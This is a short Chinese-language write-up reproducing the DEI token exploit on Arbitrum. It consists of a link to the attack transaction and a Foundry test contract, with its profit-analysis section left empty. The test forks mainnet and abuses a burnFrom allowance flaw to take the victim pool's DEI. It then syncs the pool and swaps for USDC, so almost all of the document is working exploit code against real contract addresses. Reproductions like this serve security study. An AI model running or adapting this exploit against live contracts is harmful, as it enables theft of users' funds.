智能合约漏洞案例，DEI 漏洞复现

1. 漏洞简介

https://twitter.com/eugenioclrc/status/1654576296507088906

2. 相关地址或交易

https://explorer.phalcon.xyz/tx/arbitrum/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef 攻击交易

3. 获利分析

5. 漏洞复现

pragma solidity ^0.8.10;//import  "../interfaces/interface.sol";
import "forge-std/Test.sol";
import "./interface.sol";
import "../contracts/ERC20.sol";interface DEI {function burnFrom(address account, uint256 amount) external;
}interface AMM {function sync() external;function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;function getAmountOut(uint amountIn, address tokenIn) external returns(uint256);}contract ContractTest is Test{address constant dei = 0xDE1E704dae0B4051e80DAbB26ab6ad6c12262DA0;address constant victim = 0x7DC406b9B904a52D10E19E848521BbA2dE74888b;address constant usdc = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);function setUp() public {cheats.createSelectFork("arbitrum", 87626026 -2);//uint256 forkId = cheats.createFork("bsc");//cheats.selectFork(forkId);}function testExploit() external {IERC20(dei).approve(victim,type(uint256).max);DEI(dei).burnFrom(victim, 0);emit log_named_decimal_uint("Attacker DEI allowance", IERC20(dei).allowance(victim,address(this)), 18);uint256 victimNum = IERC20(dei).balanceOf(victim);emit log_named_decimal_uint("victim DEI allowance", victimNum, 18);IERC20(dei).transferFrom(victim,address(this),victimNum-1);AMM(victim).sync();emit log_named_decimal_uint("After attack,Attacker DEI allowance",IERC20(dei).balanceOf(address(this)), 18);uint outNum = AMM(victim).getAmountOut(victimNum-1, dei);emit log_named_decimal_uint("outNUm is :",outNum, 18);IERC20(dei).transfer(victim,victimNum-1);AMM(victim).swap(0, outNum, address(this), "");emit log_named_decimal_uint("After attacker's usdc is :",IERC20(usdc).balanceOf(address(this)), 6);}
}